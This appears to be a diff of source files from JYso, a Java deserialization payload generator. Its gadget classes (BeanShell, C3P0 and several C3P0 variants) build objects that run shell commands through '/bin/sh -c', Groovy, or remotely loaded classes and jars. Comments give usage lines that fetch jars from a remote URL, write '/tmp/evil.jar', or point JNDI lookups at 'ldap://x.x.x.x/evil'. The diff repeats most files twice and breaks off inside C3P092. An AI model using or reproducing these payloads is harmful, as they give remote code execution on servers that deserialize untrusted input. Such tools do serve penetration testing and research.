import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = {1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
}
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.XThis;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = {1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
}
@@ -1,50 +1,50 @@
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.NameSpace;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.beanshell:bsh:2.0b1"})
@Authors({Authors.KILLER})
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", ".");
i.eval(payload);
Class<?> xThis = Class.forName("bsh.XThis");
Field handlerField = xThis.getDeclaredField("invocationHandler");
handlerField.setAccessible(true);
Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
xthisDeclaredConstructor.setAccessible(true);
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
handlerField.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
return queue;
}
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.NameSpace;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies({"org.beanshell:bsh:2.0b1"})
@Authors({Authors.KILLER})
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", ".");
i.eval(payload);
Class<?> xThis = Class.forName("bsh.XThis");
Field handlerField = xThis.getDeclaredField("invocationHandler");
handlerField.setAccessible(true);
Constructor<?> xthisDeclaredConstructor = xThis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
xthisDeclaredConstructor.setAccessible(true);
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
handlerField.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
return queue;
}
}
+92 -92
View File
@@ -1,92 +1,92 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.util.logging.Logger;
/**
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
* <p>
* Arguments:
* - base_url:classname
* <p>
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P0 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className;
private final String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.util.logging.Logger;
/**
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
* <p>
* Arguments:
* - base_url:classname
* <p>
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P0 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className;
private final String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
+84 -84
View File
@@ -1,84 +1,84 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.util.logging.Logger;
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
/**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
@Authors({Authors.QI4L})
public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (command.startsWith("LF-")) {
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
} else {
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
}
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
return ref;
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.util.logging.Logger;
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
/**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
@Authors({Authors.QI4L})
public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (command.startsWith("LF-")) {
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
} else {
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
}
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
return ref;
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
+77 -77
View File
@@ -1,77 +1,77 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.util.logging.Logger;
/**
* 同 C3P0 2 只不过使用了 Groovy
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.QI4L})
public class C3P03 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
return ref;
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.util.logging.Logger;
/**
* 同 C3P0 2 只不过使用了 Groovy
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.QI4L})
public class C3P03 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
return ref;
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
+154 -154
View File
@@ -1,154 +1,154 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.IOException;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.logging.Logger;
/**
* 同上 只不过使用了 snakeyaml
* 加了一些常见的 Gadget,有点套娃的感觉了
* <p>
* 用法:
* 远程加载 Jar 包
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
* <p>
* 向服务器写入 Jar 包并加载(不出网)
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
* C3P04 'localJar-./yaml.jar'
* <p>
* C3P0 二次反序列化
* C3P04 'c3p0Double-/usr/CC6.ser'
* <p>
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
* C3P04 'jndi-ldap://x.x.x.x/evil'
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
@Authors({Authors.QI4L})
public class C3P04 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf('-');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
}
String[] parts = command.split("-");
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
private final String type;
public PoolSource(String type, String cmd) {
this.type = type;
this.cmd = cmd;
}
public Reference getReference() {
String yaml = "";
switch (type) {
case "remoteJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "localJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "writeJar":
String[] parts = cmd.split(":");
try {
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
} catch (Exception e) {
throw new RuntimeException(e);
}
break;
case "c3p0Double":
try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
} catch (IOException e) {
throw new RuntimeException(e);
}
break;
case "c3p0Jndi":
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: " + cmd + "\n" +
"loginTimeout: 0";
break;
case "jndi":
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: " + cmd + "\n" +
"autoCommit: true";
break;
}
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=load"));
ref.add(new StringRefAddr("QI4L", yaml));
return ref;
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.IOException;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.logging.Logger;
/**
* 同上 只不过使用了 snakeyaml
* 加了一些常见的 Gadget,有点套娃的感觉了
* <p>
* 用法:
* 远程加载 Jar 包
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
* <p>
* 向服务器写入 Jar 包并加载(不出网)
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
* C3P04 'localJar-./yaml.jar'
* <p>
* C3P0 二次反序列化
* C3P04 'c3p0Double-/usr/CC6.ser'
* <p>
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
* C3P04 'jndi-ldap://x.x.x.x/evil'
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
@Authors({Authors.QI4L})
public class C3P04 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf('-');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
}
String[] parts = command.split("-");
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
private final String type;
public PoolSource(String type, String cmd) {
this.type = type;
this.cmd = cmd;
}
public Reference getReference() {
String yaml = "";
switch (type) {
case "remoteJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "localJar":
yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"file://" + cmd + "\"]\n" +
" ]]\n" +
"]";
break;
case "writeJar":
String[] parts = cmd.split(":");
try {
yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
} catch (Exception e) {
throw new RuntimeException(e);
}
break;
case "c3p0Double":
try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
} catch (IOException e) {
throw new RuntimeException(e);
}
break;
case "c3p0Jndi":
yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
"jndiName: " + cmd + "\n" +
"loginTimeout: 0";
break;
case "jndi":
yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"dataSourceName: " + cmd + "\n" +
"autoCommit: true";
break;
}
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=load"));
ref.add(new StringRefAddr("QI4L", yaml));
return ref;
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
+99 -99
View File
@@ -1,99 +1,99 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.util.logging.Logger;
/**
* C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@SuppressWarnings({"unused"})
@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P092 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource")));
final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed
final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(
new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
);
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className;
private final String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() {
return null;
}
public void setLogWriter(PrintWriter out) {
}
public int getLoginTimeout() {
return 0;
}
public void setLoginTimeout(int seconds) {
}
public Logger getParentLogger() {
return null;
}
public PooledConnection getPooledConnection() {
return null;
}
public PooledConnection getPooledConnection(String user, String password) {
return null;
}
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
